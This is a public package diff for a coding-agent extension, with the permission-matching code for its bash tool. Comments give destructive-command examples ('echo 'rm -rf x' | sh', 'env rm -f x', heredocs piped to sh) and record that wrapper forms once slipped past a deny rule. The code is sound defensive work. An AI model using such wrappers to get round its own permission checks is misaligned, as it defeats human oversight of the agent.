one-code-extension 0.4.1 → 0.6.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (439) hide show
  1. package/README.md +16 -5
  2. package/agents/general-purpose.md +2 -2
  3. package/docs/guide/README.md +2 -1
  4. package/docs/guide/bring-your-claude-code-setup.md +60 -9
  5. package/docs/guide/configuration.md +48 -14
  6. package/docs/guide/differences-from-claude-code.md +40 -28
  7. package/docs/guide/doctor.md +20 -13
  8. package/docs/guide/hooks.md +18 -3
  9. package/docs/guide/installation.md +26 -4
  10. package/docs/guide/permissions-modes-and-auto-mode.md +225 -49
  11. package/docs/guide/providers-and-models.md +137 -54
  12. package/docs/guide/reference.md +27 -15
  13. package/docs/guide/sessions-and-context.md +69 -16
  14. package/docs/guide/skills-plugins-and-mcp.md +57 -20
  15. package/docs/guide/subagents-and-workflows.md +95 -29
  16. package/docs/guide/tasks-and-background-work.md +101 -26
  17. package/docs/guide/terminal-interface.md +24 -12
  18. package/docs/guide/tools.md +46 -5
  19. package/docs/guide/troubleshooting.md +13 -9
  20. package/docs/guide/windows.md +58 -31
  21. package/extensions/artifacts/gallery.ts +227 -0
  22. package/extensions/artifacts/index.ts +288 -0
  23. package/extensions/artifacts/store.ts +570 -0
  24. package/extensions/artifacts/viewer.ts +199 -0
  25. package/extensions/ask-user/description.ts +67 -0
  26. package/extensions/ask-user/dialogs.ts +80 -0
  27. package/extensions/ask-user/index.ts +37 -33
  28. package/extensions/ask-user/questions.ts +32 -7
  29. package/extensions/ask-user/widget.ts +45 -25
  30. package/extensions/auto-mode/actions.ts +6 -0
  31. package/extensions/auto-mode/cache.ts +88 -0
  32. package/extensions/auto-mode/classifier-prompt.ts +5 -4
  33. package/extensions/auto-mode/classifier.ts +290 -65
  34. package/extensions/auto-mode/config.ts +72 -20
  35. package/extensions/auto-mode/decision-log.ts +2 -0
  36. package/extensions/auto-mode/defaults.ts +1 -1
  37. package/extensions/auto-mode/denials.ts +124 -0
  38. package/extensions/auto-mode/git-checkout-programs.ts +187 -0
  39. package/extensions/auto-mode/git-status-meta.ts +159 -0
  40. package/extensions/auto-mode/history.ts +189 -0
  41. package/extensions/auto-mode/instructions.ts +58 -52
  42. package/extensions/auto-mode/model-select.ts +159 -134
  43. package/extensions/auto-mode/paths.ts +57 -5
  44. package/extensions/auto-mode/pause.ts +57 -2
  45. package/extensions/auto-mode/prompt.ts +37 -21
  46. package/extensions/auto-mode/read-only-options.ts +724 -0
  47. package/extensions/auto-mode/resolved-paths-meta.ts +133 -0
  48. package/extensions/auto-mode/rules.ts +18 -1
  49. package/extensions/auto-mode/safety-floor.ts +361 -18
  50. package/extensions/auto-mode/setup-run.ts +20 -14
  51. package/extensions/auto-mode/shell-analysis.ts +764 -490
  52. package/extensions/auto-mode/shell-parse.ts +885 -0
  53. package/extensions/auto-mode/system-note.ts +33 -0
  54. package/extensions/auto-mode/transcript.ts +80 -51
  55. package/extensions/background/cron.ts +642 -0
  56. package/extensions/background/index.ts +614 -248
  57. package/extensions/background/loop-fire.ts +173 -0
  58. package/extensions/background/loop-preamble.ts +59 -0
  59. package/extensions/background/loop-skill.ts +163 -0
  60. package/extensions/background/monitor-batch.ts +53 -0
  61. package/extensions/background/noop-fold.ts +128 -0
  62. package/extensions/background/switch-guard.ts +56 -0
  63. package/extensions/background/wakeup.ts +178 -55
  64. package/extensions/bash/background.ts +53 -17
  65. package/extensions/bash/child.ts +7 -0
  66. package/extensions/bash/description.ts +188 -0
  67. package/extensions/bash/guards.ts +15 -67
  68. package/extensions/bash/index.ts +66 -35
  69. package/extensions/branding/compaction-keep.ts +63 -0
  70. package/extensions/branding/declined.ts +22 -0
  71. package/extensions/branding/index.ts +133 -9
  72. package/extensions/branding/prompt-editor.ts +53 -6
  73. package/extensions/branding/queued-edit.ts +31 -0
  74. package/extensions/branding/replaced-builtins.ts +68 -0
  75. package/extensions/branding/startup.ts +33 -71
  76. package/extensions/btw/index.ts +250 -78
  77. package/extensions/btw/panel.ts +228 -100
  78. package/extensions/btw/prompt.ts +41 -4
  79. package/extensions/cache-marks/index.ts +42 -0
  80. package/extensions/claude-compat/index.ts +7 -11
  81. package/extensions/claude-context/index.ts +436 -63
  82. package/extensions/compaction/cut.ts +157 -0
  83. package/extensions/compaction/index.ts +219 -75
  84. package/extensions/compaction/kept-thinking.ts +62 -0
  85. package/extensions/compaction/prompt.ts +15 -12
  86. package/extensions/context-budget/budget.ts +16 -2
  87. package/extensions/context-budget/index.ts +35 -15
  88. package/extensions/context-management/index.ts +36 -28
  89. package/extensions/doctor/build.ts +59 -8
  90. package/extensions/doctor/builtins.ts +84 -0
  91. package/extensions/doctor/cli.ts +7 -1
  92. package/extensions/doctor/compat.ts +88 -23
  93. package/extensions/doctor/dependencies.ts +41 -5
  94. package/extensions/doctor/fix-prompt.ts +9 -2
  95. package/extensions/doctor/index.ts +102 -58
  96. package/extensions/doctor/models.ts +102 -63
  97. package/extensions/doctor/presets.ts +42 -27
  98. package/extensions/doctor/report.ts +19 -2
  99. package/extensions/doctor/viewer.ts +49 -27
  100. package/extensions/effort/index.ts +141 -25
  101. package/extensions/effort/settings.ts +21 -0
  102. package/extensions/effort/slider.ts +24 -20
  103. package/extensions/exit/index.ts +32 -1
  104. package/extensions/file-tracker/index.ts +420 -42
  105. package/extensions/file-tracker/replay.ts +137 -24
  106. package/extensions/file-tracker/restore.ts +66 -0
  107. package/extensions/file-tracker/results.ts +66 -0
  108. package/extensions/file-tracker/shell-reads.ts +211 -0
  109. package/extensions/file-tracker/tracker.ts +45 -15
  110. package/extensions/footer/footer-line.ts +45 -24
  111. package/extensions/footer/index.ts +47 -2
  112. package/extensions/footer/pr.ts +34 -5
  113. package/extensions/hooks/compaction.ts +7 -0
  114. package/extensions/hooks/executor.ts +32 -30
  115. package/extensions/hooks/index.ts +209 -58
  116. package/extensions/hooks/matcher.ts +3 -0
  117. package/extensions/hooks/prompt-context.ts +59 -0
  118. package/extensions/hooks/protocol.ts +41 -3
  119. package/extensions/hooks/settings.ts +50 -19
  120. package/extensions/hooks/subagent-bridge.ts +2 -0
  121. package/extensions/hooks/trust.ts +26 -12
  122. package/extensions/idle-compact/index.ts +119 -0
  123. package/extensions/idle-compact/policy.ts +143 -0
  124. package/extensions/init/index.ts +11 -10
  125. package/extensions/init/prompt.ts +25 -32
  126. package/extensions/interrupted/index.ts +13 -1
  127. package/extensions/kept-thinking/index.ts +27 -0
  128. package/extensions/ledger/index.ts +46 -0
  129. package/extensions/ledger/wire.ts +154 -0
  130. package/extensions/lib/agent-cron.ts +146 -0
  131. package/extensions/lib/agent-loader.ts +18 -3
  132. package/extensions/lib/agent-view.ts +85 -0
  133. package/extensions/lib/anthropic-auth.ts +98 -0
  134. package/extensions/lib/anthropic-payload.ts +82 -1
  135. package/extensions/lib/anthropic-server-call.ts +230 -0
  136. package/extensions/lib/anthropic-server-tools.ts +485 -0
  137. package/extensions/lib/app-launch.mjs +94 -0
  138. package/extensions/lib/argument-hints.ts +190 -0
  139. package/extensions/lib/atomic-write.ts +6 -2
  140. package/extensions/lib/auto-memory.ts +75 -0
  141. package/extensions/lib/bash-parser.ts +84 -0
  142. package/extensions/lib/btw-fork.ts +93 -0
  143. package/extensions/lib/child-extensions.ts +52 -0
  144. package/extensions/lib/child-writes.ts +45 -0
  145. package/extensions/lib/claude-context.ts +515 -100
  146. package/extensions/lib/claude-external-includes.ts +68 -0
  147. package/extensions/lib/claude-id.ts +22 -0
  148. package/extensions/lib/claude-rules.ts +323 -0
  149. package/extensions/lib/claude-settings.ts +76 -4
  150. package/extensions/lib/compaction-boundary.ts +36 -0
  151. package/extensions/lib/compaction-keep.mjs +83 -0
  152. package/extensions/lib/config-mode.ts +112 -0
  153. package/extensions/lib/consent-dialogs.ts +63 -0
  154. package/extensions/lib/consent-preview.ts +5 -1
  155. package/extensions/lib/consent-stores.ts +48 -0
  156. package/extensions/lib/context-facts.ts +97 -0
  157. package/extensions/lib/covered-messages.ts +23 -0
  158. package/extensions/lib/deferred.ts +359 -25
  159. package/extensions/lib/dock-rows.ts +60 -0
  160. package/extensions/lib/empty-tool-result.ts +27 -0
  161. package/extensions/lib/environment-block.ts +76 -0
  162. package/extensions/lib/fetch-timeout.ts +24 -6
  163. package/extensions/{system-prompt → lib}/git-status.ts +51 -13
  164. package/extensions/lib/git.ts +75 -13
  165. package/extensions/lib/grammars/LICENSE-tree-sitter-bash +21 -0
  166. package/extensions/lib/grammars/README.md +2 -0
  167. package/extensions/lib/grammars/tree-sitter-bash.wasm +0 -0
  168. package/extensions/lib/guide-docs.ts +45 -0
  169. package/extensions/lib/headless-output.ts +46 -0
  170. package/extensions/lib/hook-gate.ts +7 -7
  171. package/extensions/lib/interrupt.ts +20 -4
  172. package/extensions/lib/key-input.ts +455 -0
  173. package/extensions/lib/keys.ts +14 -1
  174. package/extensions/lib/ledger/fold-memo.ts +49 -0
  175. package/extensions/lib/ledger/fold.ts +265 -0
  176. package/extensions/lib/ledger/layout.ts +72 -0
  177. package/extensions/lib/ledger/plan.ts +102 -0
  178. package/extensions/lib/ledger/records.ts +276 -0
  179. package/extensions/lib/ledger/state.ts +47 -0
  180. package/extensions/lib/ledger/validate.ts +141 -0
  181. package/extensions/lib/ledger/wire.ts +632 -0
  182. package/extensions/lib/local-command.ts +71 -19
  183. package/extensions/lib/mcp-overrides.ts +1 -1
  184. package/extensions/lib/mcp-share.ts +46 -0
  185. package/extensions/lib/memory-content.ts +146 -0
  186. package/extensions/lib/memory-index.ts +18 -0
  187. package/extensions/lib/memory.ts +134 -123
  188. package/extensions/lib/model-catalog/huggingface.json +178 -0
  189. package/extensions/lib/model-catalog/models-dev.json +18533 -0
  190. package/extensions/lib/model-catalog/openrouter.json +5050 -0
  191. package/extensions/lib/model-catalog-data.ts +513 -0
  192. package/extensions/lib/model-catalog.ts +462 -0
  193. package/extensions/lib/model-choice-warnings.ts +137 -0
  194. package/extensions/lib/model-pairings.ts +152 -0
  195. package/extensions/{auto-mode → lib}/model-picker.ts +26 -43
  196. package/extensions/lib/model-policy.ts +112 -15
  197. package/extensions/lib/model-tier.ts +283 -355
  198. package/extensions/lib/model-unusable.ts +1 -1
  199. package/extensions/lib/newer-model.ts +100 -0
  200. package/extensions/lib/notices.ts +87 -0
  201. package/extensions/lib/notifications.ts +357 -73
  202. package/extensions/lib/one-code-settings.ts +74 -8
  203. package/extensions/lib/open-browser.ts +63 -0
  204. package/extensions/lib/openrouter-generation.ts +94 -0
  205. package/extensions/lib/operation-deadline.ts +30 -0
  206. package/extensions/lib/original-command.ts +4 -4
  207. package/extensions/lib/package-version.ts +1 -1
  208. package/extensions/lib/panel-focus.ts +134 -0
  209. package/extensions/lib/paths.ts +17 -2
  210. package/extensions/lib/permission-gate.ts +72 -6
  211. package/extensions/lib/persisted-output.ts +60 -8
  212. package/extensions/lib/pi-ai-estimate.ts +19 -3
  213. package/extensions/lib/pi-version.ts +38 -2
  214. package/extensions/lib/plan-mode-channels.ts +42 -5
  215. package/extensions/lib/plugins.ts +26 -17
  216. package/extensions/lib/powershell-parse-script.ts +208 -0
  217. package/extensions/lib/powershell-parser.ts +344 -0
  218. package/extensions/lib/previous-mark.ts +101 -0
  219. package/extensions/lib/process-state.ts +48 -0
  220. package/extensions/lib/process-tree.ts +132 -8
  221. package/extensions/lib/prompt-options.ts +82 -0
  222. package/extensions/lib/queued-delivery.ts +44 -0
  223. package/extensions/lib/reminders.ts +370 -358
  224. package/extensions/lib/replaced-builtins.mjs +199 -0
  225. package/extensions/lib/replay-call.ts +70 -0
  226. package/extensions/lib/request-replay.ts +547 -0
  227. package/extensions/lib/scratchpad.ts +81 -14
  228. package/extensions/lib/send-now-channel.ts +7 -0
  229. package/extensions/lib/session-model-tier.ts +51 -0
  230. package/extensions/lib/session-work.ts +64 -0
  231. package/extensions/lib/settings-channels.ts +4 -4
  232. package/extensions/lib/shell-exit-semantics.ts +170 -0
  233. package/extensions/lib/shell-quote.ts +11 -0
  234. package/extensions/lib/shell-result.ts +70 -0
  235. package/extensions/lib/shell-spawn.ts +70 -6
  236. package/extensions/lib/shell-tool.ts +75 -25
  237. package/extensions/lib/side-call-cache.ts +124 -0
  238. package/extensions/lib/side-call-run.ts +96 -0
  239. package/extensions/lib/side-call-usage.ts +38 -0
  240. package/extensions/lib/side-call.ts +24 -1
  241. package/extensions/lib/single-flight.ts +18 -0
  242. package/extensions/lib/skill-body.ts +42 -0
  243. package/extensions/lib/skill-scan.ts +63 -24
  244. package/extensions/lib/spill-file.ts +140 -0
  245. package/extensions/lib/subagent-handback.ts +112 -0
  246. package/extensions/lib/system-role.ts +156 -0
  247. package/extensions/lib/terminal-text.ts +114 -0
  248. package/extensions/lib/text-width.ts +47 -16
  249. package/extensions/lib/timer-ops.ts +20 -0
  250. package/extensions/lib/tool-additions.ts +129 -0
  251. package/extensions/lib/tool-call-corruption.ts +134 -0
  252. package/extensions/lib/tool-path.ts +66 -0
  253. package/extensions/lib/tool-variants.ts +69 -0
  254. package/extensions/lib/tui-render.ts +255 -27
  255. package/extensions/lib/turn-budget-layout.ts +159 -0
  256. package/extensions/lib/update-check.mjs +15 -2
  257. package/extensions/lib/usage-bus.ts +1 -1
  258. package/extensions/lib/user-denial.ts +38 -0
  259. package/extensions/lib/workspace-channel.ts +16 -0
  260. package/extensions/lib/worktree-channel.ts +31 -3
  261. package/extensions/lib/worktree-isolation.ts +40 -10
  262. package/extensions/lsp/client.ts +8 -9
  263. package/extensions/lsp/index.ts +76 -12
  264. package/extensions/lsp/keep-alive.ts +1 -1
  265. package/extensions/lsp/trust.ts +119 -0
  266. package/extensions/lsp/watcher.ts +1 -1
  267. package/extensions/mcp/announce.ts +90 -43
  268. package/extensions/mcp/client.ts +161 -48
  269. package/extensions/mcp/config.ts +132 -8
  270. package/extensions/mcp/discovery.ts +19 -0
  271. package/extensions/mcp/index.ts +220 -121
  272. package/extensions/mcp/oauth/browser.ts +38 -17
  273. package/extensions/mcp/oauth/flow.ts +25 -17
  274. package/extensions/mcp/oauth/provider.ts +14 -8
  275. package/extensions/mcp/oauth/store.ts +34 -16
  276. package/extensions/mcp/panel/keys.ts +12 -11
  277. package/extensions/mcp/panel/render.ts +9 -6
  278. package/extensions/mcp/schema.ts +104 -5
  279. package/extensions/mcp/trust.ts +164 -73
  280. package/extensions/memory/entries.ts +23 -14
  281. package/extensions/memory/index.ts +134 -28
  282. package/extensions/memory/open-external.ts +33 -18
  283. package/extensions/memory/panel.ts +135 -26
  284. package/extensions/model-default/index.ts +86 -19
  285. package/extensions/newer-model/index.ts +31 -0
  286. package/extensions/notebook/description.ts +18 -0
  287. package/extensions/notebook/index.ts +6 -5
  288. package/extensions/notebook/notebook.ts +1 -1
  289. package/extensions/permissions/index.ts +1426 -398
  290. package/extensions/permissions/matcher.ts +425 -74
  291. package/extensions/permissions/modes.ts +11 -4
  292. package/extensions/permissions/panel/host.ts +130 -0
  293. package/extensions/permissions/panel/keys.ts +48 -0
  294. package/extensions/permissions/panel/render.ts +450 -0
  295. package/extensions/permissions/panel/state.ts +550 -0
  296. package/extensions/permissions/powershell-cmdlets.ts +198 -0
  297. package/extensions/permissions/powershell-paths.ts +197 -0
  298. package/extensions/permissions/powershell-rules.ts +207 -280
  299. package/extensions/permissions/powershell-tree.ts +557 -0
  300. package/extensions/permissions/project-trust.ts +27 -11
  301. package/extensions/permissions/protected-paths.ts +14 -2
  302. package/extensions/permissions/session-grant.ts +6 -0
  303. package/extensions/permissions/settings.ts +166 -31
  304. package/extensions/permissions/subagent-gate.ts +25 -0
  305. package/extensions/permissions/workspace.ts +78 -0
  306. package/extensions/plan-mode/index.ts +276 -92
  307. package/extensions/plan-mode/reminder.ts +89 -21
  308. package/extensions/plan-mode/run-state.ts +26 -0
  309. package/extensions/plan-mode/texts.ts +177 -0
  310. package/extensions/plan-mode/viewer.ts +92 -27
  311. package/extensions/plugins/counts.ts +3 -3
  312. package/extensions/plugins/index.ts +64 -46
  313. package/extensions/plugins/install/install.ts +16 -0
  314. package/extensions/plugins/marketplace/sync.ts +9 -3
  315. package/extensions/plugins/marketplace/types.ts +3 -1
  316. package/extensions/plugins/panel/keys.ts +21 -24
  317. package/extensions/plugins/panel/render.ts +12 -6
  318. package/extensions/plugins/shell-expand.ts +107 -0
  319. package/extensions/plugins/template.ts +32 -15
  320. package/extensions/powershell/child.ts +7 -0
  321. package/extensions/powershell/description.ts +38 -6
  322. package/extensions/powershell/guards.ts +1 -1
  323. package/extensions/powershell/index.ts +14 -7
  324. package/extensions/recap/index.ts +73 -71
  325. package/extensions/recap/prompt.ts +2 -2
  326. package/extensions/recap/scheduler.ts +3 -5
  327. package/extensions/search-tools/grep-merge.ts +39 -0
  328. package/extensions/search-tools/index.ts +0 -0
  329. package/extensions/send-now/chord.ts +62 -0
  330. package/extensions/send-now/index.ts +133 -0
  331. package/extensions/session-title/index.ts +3 -0
  332. package/extensions/session-title/title.ts +4 -1
  333. package/extensions/skill/announce.ts +30 -0
  334. package/extensions/skill/code-review.ts +97 -0
  335. package/extensions/skill/index.ts +469 -132
  336. package/extensions/skill/invoke.ts +118 -75
  337. package/extensions/skill/listing.ts +133 -9
  338. package/extensions/skill/panel/keys.ts +15 -16
  339. package/extensions/skill/panel/render.ts +5 -2
  340. package/extensions/skill/panel/state.ts +12 -1
  341. package/extensions/subagents/agent-args.ts +39 -0
  342. package/extensions/subagents/agent-description.ts +132 -0
  343. package/extensions/subagents/agents.ts +146 -31
  344. package/extensions/subagents/default-model.ts +2 -3
  345. package/extensions/subagents/delegation-steer.ts +4 -4
  346. package/extensions/subagents/fork-cache.ts +82 -0
  347. package/extensions/subagents/guide-agent.ts +189 -0
  348. package/extensions/subagents/hand-back-review.ts +3 -0
  349. package/extensions/subagents/index.ts +1594 -852
  350. package/extensions/subagents/live-runs.ts +26 -6
  351. package/extensions/subagents/model-select.ts +38 -25
  352. package/extensions/subagents/outcome.ts +5 -2
  353. package/extensions/subagents/panel-keys.ts +73 -31
  354. package/extensions/subagents/panel-render.ts +120 -96
  355. package/extensions/subagents/panel-widget.ts +60 -89
  356. package/extensions/subagents/parent-mode.ts +50 -0
  357. package/extensions/subagents/pending-claim.ts +18 -1
  358. package/extensions/subagents/runner.ts +135 -80
  359. package/extensions/subagents/runs.ts +44 -5
  360. package/extensions/subagents/send-to-main-tool.ts +1 -1
  361. package/extensions/subagents/session-turns.ts +32 -8
  362. package/extensions/subagents/shell-panel.ts +36 -178
  363. package/extensions/subagents/tasks-dialog.ts +170 -0
  364. package/extensions/subagents/viewport-mirror.ts +95 -0
  365. package/extensions/subagents/worktree.ts +57 -13
  366. package/extensions/system-prompt/environment.ts +19 -19
  367. package/extensions/system-prompt/idle-turn.ts +65 -0
  368. package/extensions/system-prompt/index.ts +165 -47
  369. package/extensions/system-prompt/template.ts +34 -51
  370. package/extensions/system-prompt/tiers/common.ts +23 -64
  371. package/extensions/system-prompt/tiers/frontier.ts +32 -11
  372. package/extensions/system-prompt/tiers/low.ts +67 -45
  373. package/extensions/system-prompt/tiers/mid.ts +96 -38
  374. package/extensions/system-reminder/index.ts +204 -70
  375. package/extensions/tasks/descriptions.ts +190 -0
  376. package/extensions/tasks/index.ts +120 -41
  377. package/extensions/tasks/store.ts +83 -16
  378. package/extensions/tool-call-corruption/child.ts +7 -0
  379. package/extensions/tool-call-corruption/index.ts +237 -0
  380. package/extensions/tool-search/index.ts +366 -144
  381. package/extensions/tool-style/index.ts +68 -10
  382. package/extensions/tool-style/write-description.ts +40 -0
  383. package/extensions/tool-style/write-render.ts +237 -0
  384. package/extensions/turn-duration/index.ts +7 -3
  385. package/extensions/turn-duration/line.ts +47 -4
  386. package/extensions/web/backends.ts +6 -9
  387. package/extensions/web/description.ts +50 -0
  388. package/extensions/web/index.ts +118 -53
  389. package/extensions/web/native-call.ts +15 -0
  390. package/extensions/web/native-results.ts +41 -0
  391. package/extensions/web-fetch/description.ts +42 -0
  392. package/extensions/web-fetch/extract.ts +53 -6
  393. package/extensions/web-fetch/index.ts +125 -76
  394. package/extensions/web-fetch/page-content.ts +19 -0
  395. package/extensions/web-fetch/response.ts +49 -0
  396. package/extensions/web-fetch/summarize.ts +9 -10
  397. package/extensions/workflow/agent-session.ts +108 -18
  398. package/extensions/workflow/args.ts +24 -0
  399. package/extensions/workflow/description.ts +67 -0
  400. package/extensions/workflow/globals.ts +17 -3
  401. package/extensions/workflow/index.ts +157 -162
  402. package/extensions/workflow/records.ts +1 -0
  403. package/extensions/workflow/run-manager.ts +33 -6
  404. package/extensions/workflow/saved-workflows.ts +3 -2
  405. package/extensions/workflow/types.ts +22 -1
  406. package/extensions/workflow/viewer.ts +54 -24
  407. package/extensions/workflow/widget.ts +20 -0
  408. package/extensions/worktree/descriptions.ts +91 -0
  409. package/extensions/worktree/guards.ts +316 -54
  410. package/extensions/worktree/index.ts +162 -44
  411. package/extensions/worktree/powershell-guards.ts +167 -0
  412. package/extensions/worktree/rewrite.ts +14 -16
  413. package/package.json +21 -7
  414. package/skills/artifact-design/SKILL.md +85 -0
  415. package/skills/code-review/SKILL.md +20 -20
  416. package/skills/code-review/cells/arguments-and-flags.md +19 -0
  417. package/skills/code-review/cells/high-3x5-recall-verify.md +137 -0
  418. package/skills/code-review/cells/high-8-inline.md +122 -0
  419. package/skills/code-review/cells/low-1-pass-max4.md +27 -0
  420. package/skills/code-review/cells/low-1-pass-min-files-4.md +28 -0
  421. package/skills/code-review/cells/max-5x5-verify-sweep.md +162 -0
  422. package/skills/code-review/cells/medium-3x5-verify.md +132 -0
  423. package/skills/code-review/cells/minimal-prompt.md +32 -0
  424. package/skills/code-review/cells/xhigh-10-inline-sweep.md +149 -0
  425. package/skills/code-review/cells/xhigh-5x5-verify-sweep.md +162 -0
  426. package/skills/fewer-permission-prompts/SKILL.md +1 -1
  427. package/skills/loop/SKILL.md +11 -0
  428. package/skills/security-review/SKILL.md +2 -5
  429. package/skills/simplify/SKILL.md +7 -5
  430. package/skills/workflow-authoring/SKILL.md +143 -0
  431. package/themes/onecode-light.json +1 -1
  432. package/themes/onecode.json +1 -1
  433. package/types/app.d.ts +58 -0
  434. package/types/community-packages.d.ts +26 -1
  435. package/extensions/auto-mode/recoverability.ts +0 -229
  436. package/extensions/lib/capability-index.ts +0 -466
  437. package/extensions/lib/model-facts.generated.json +0 -2675
  438. package/extensions/lib/model-facts.ts +0 -162
  439. package/extensions/tool-search/announce.ts +0 -42
@@ -7,11 +7,16 @@
7
7
  * existing ~/.claude/settings.json files work unchanged.
8
8
  */
9
9
 
10
+ import { statSync } from "node:fs";
10
11
  import { homedir } from "node:os";
11
12
  import { isAbsolute, relative, resolve } from "node:path";
12
- import { analyzeShellCommand, hasInjectionSyntax, leadTokens, parseCommand, resolvePayload } from "../auto-mode/shell-analysis.ts";
13
- import { pathArgument, resolveForContainment } from "../auto-mode/paths.ts";
13
+ import { domainToASCII } from "node:url";
14
+ import { analyzeShellCommand, INLINE_SCRIPT_SHELLS, isUnknownTilde, leadTokens, movesDirectory, parseCommand, resolvePayload, type ShellEvidence } from "../auto-mode/shell-analysis.ts";
15
+ import { pathArgument, resolveForContainment, toAbsolute, toAbsoluteBash } from "../auto-mode/paths.ts";
16
+ import { isSensitivePath } from "../auto-mode/sensitive.ts";
14
17
  import { isProtectedPath, isWritingTool } from "./protected-paths.ts";
18
+ import { powershellTreeContainedEdits } from "./powershell-tree.ts";
19
+ import type { PowerShellParse } from "../lib/powershell-parser.ts";
15
20
  import {
16
21
  canonicalCommandName,
17
22
  canonicalizeStatement,
@@ -38,6 +43,7 @@ const CC_TOOL_NAMES: Record<string, string> = {
38
43
  glob: "find",
39
44
  find: "find",
40
45
  ls: "ls",
46
+ artifact: "artifact",
41
47
  notebookedit: "notebook_edit",
42
48
  notebook_edit: "notebook_edit",
43
49
  webfetch: "web_fetch",
@@ -62,6 +68,9 @@ const CC_TOOL_NAMES: Record<string, string> = {
62
68
  taskstop: "task_stop",
63
69
  monitor: "monitor",
64
70
  schedulewakeup: "schedule_wakeup",
71
+ croncreate: "cron_create",
72
+ cronlist: "cron_list",
73
+ crondelete: "cron_delete",
65
74
  sendmessage: "SendMessage",
66
75
  send_message: "SendMessage", // pre-rename internal name
67
76
  listagents: "list_agents",
@@ -104,12 +113,13 @@ export interface PermissionRule {
104
113
  * names may carry `-` and `.` — MCP tools keep their servers' hyphens
105
114
  * (`mcp__github__delete-repo`), and a rule naming one used to be dropped
106
115
  * silently (review P5) — and `:`, the plugin MCP namespace
107
- * (`mcp__plugin:name:server__tool`).
116
+ * (`mcp__plugin:name:server__tool`). MCP rules also accept the server-wide
117
+ * `mcp__server__*` spelling; no other tool-name wildcards are supported.
108
118
  */
109
119
  export function parseRule(raw: string): PermissionRule | undefined {
110
120
  const trimmed = raw.trim();
111
121
  if (!trimmed) return undefined;
112
- const match = trimmed.match(/^([A-Za-z0-9_.:-]+)(?:\((.*)\))?$/s);
122
+ const match = trimmed.match(/^(mcp__[A-Za-z0-9_.:-]+__\*|[A-Za-z0-9_.:-]+)(?:\((.*)\))?$/s);
113
123
  if (!match) return undefined;
114
124
  const [, name, pattern] = match;
115
125
  return { raw: trimmed, tool: normalizeToolName(name), pattern: pattern || undefined };
@@ -225,17 +235,20 @@ export function matchesBashPattern(pattern: string, command: string): boolean {
225
235
  /**
226
236
  * The separately-executing subcommands of a bash command line — what `&&`,
227
237
  * `||`, `;`, `|`, `&`, and unquoted newlines separate — or undefined when the
228
- * line cannot be parsed (unbalanced quotes). A single simple command comes
229
- * back as itself.
238
+ * line cannot be parsed or uses a construct the pre-gate does not model (a
239
+ * subshell, a loop, a function): an allow rule covers the commands its author
240
+ * wrote, not `(npm test)` or a loop around them. A single simple command comes
241
+ * back as itself. The commands inside a substitution are not listed: they are
242
+ * part of the subcommand whose word they compute ({@link findBashAllowRule}).
230
243
  */
231
244
  export function bashSubcommands(command: string): string[] | undefined {
232
- const { segments, parseFailed } = parseCommand(command.trim());
233
- if (parseFailed) return undefined;
234
- return segments.map((seg) => seg.raw).filter((raw) => raw.length > 0);
245
+ const { segments, parseFailed, complex } = parseCommand(command.trim());
246
+ if (parseFailed || complex) return undefined;
247
+ return segments.filter((seg) => seg.substitution === undefined).map((seg) => seg.raw).filter((raw) => raw.length > 0);
235
248
  }
236
249
 
237
- /** Shells whose `-c` argument is a nested command line. */
238
- const SHELL_INTERPRETERS = new Set(["sh", "bash", "zsh", "dash", "ksh", "fish"]);
250
+ /** Redirect targets that are devices, never files: always fine under an allow rule. */
251
+ const DEVICE_TARGETS = new Set(["/dev/null", "/dev/stdout", "/dev/stderr", "/dev/tty"]);
239
252
 
240
253
  /** The script a `sh -c '…'` / `bash -lc '…'` invocation runs, if any. */
241
254
  function inlineShellScript(args: string[]): string | undefined {
@@ -245,13 +258,27 @@ function inlineShellScript(args: string[]): string | undefined {
245
258
  return undefined;
246
259
  }
247
260
 
261
+ /**
262
+ * The pieces of a line the grammar could not parse, split at every separator
263
+ * and substitution opener, for the deny forms only. Rough on purpose: a deny
264
+ * form may only widen, and `cat <<EOF; rm y` (a heredoc whose body comes later
265
+ * on the line) must still meet `Bash(rm:*)`.
266
+ */
267
+ function roughPieces(line: string): string[] {
268
+ return line
269
+ .split(/[;&|\n()`]|\$\(|[<>]\(/)
270
+ .map((piece) => piece.trim())
271
+ .filter((piece) => piece && piece !== line);
272
+ }
273
+
248
274
  /**
249
275
  * Every spelling of a command line a deny/ask pattern is tested against: the
250
276
  * raw line, each subcommand, and each subcommand's *payload form* — transparent
251
- * wrappers peeled (`env`, `command`, `nice`, `timeout`, `xargs`, …), subshell
252
- * and group punctuation stripped, the command word reduced to its lowercased
253
- * basename (`/bin/rm`, `\rm`, `RM` → `rm`), and a `sh|bash|zsh -c '…'` script
254
- * expanded recursively. Claude Code strips the same wrappers before its deny
277
+ * wrappers peeled (`env`, `command`, `nice`, `timeout`, `xargs`, …), the
278
+ * commands inside subshells, groups and substitutions, the command word reduced to its lowercased
279
+ * basename (`/bin/rm`, `\rm`, `RM` → `rm`), and a `sh|bash|zsh -c '…'` script,
280
+ * an `eval` line, a `trap` handler and a `find -exec` command expanded
281
+ * recursively. Claude Code strips the same wrappers before its deny
255
282
  * check (`bashPermissions.ts stripSafeWrappers`); until 2026-09-05 `env rm -f
256
283
  * x` ran past `Bash(rm:*)` here after a plain "Allow bash?" prompt
257
284
  * (PERMISSIONS-REVIEW-2026-09-05 M1). Deny/ask only — an allow rule keeps
@@ -264,21 +291,57 @@ export function bashMatchForms(command: string, depth = 0): string[] {
264
291
  if (!trimmed) return [];
265
292
  forms.add(trimmed);
266
293
  if (depth > 4) return [...forms];
294
+ const nested: string[] = [];
295
+ // The commands inside `$(…)`, backticks and `<(…)` are segments of their
296
+ // own. A line that did not parse still gives its best-effort segments, and
297
+ // its rough pieces besides.
267
298
  const { segments, parseFailed } = parseCommand(trimmed);
268
- if (parseFailed) return [...forms];
299
+ if (parseFailed) nested.push(...roughPieces(trimmed));
300
+ // A shell on the line may run its input, a `-c` script included (`sh -c
301
+ // 'eval "$(cat)"'`). Then every heredoc and here-string on the line, and
302
+ // the words an `echo`/`printf` prints, may be the script it reads
303
+ // (`sh <<'EOF'`, `cat <<EOF | sh`, `echo 'rm -rf x' | sh`). Only then, so
304
+ // a commit message mentioning `rm` never meets `Bash(rm:*)`.
305
+ const payloads = segments.map((segment) => resolvePayload(leadTokens(segment), "wide"));
306
+ if (payloads.some((payload) => INLINE_SCRIPT_SHELLS.has(payload.command))) {
307
+ for (const [index, segment] of segments.entries()) {
308
+ nested.push(...(segment.stdin ?? []));
309
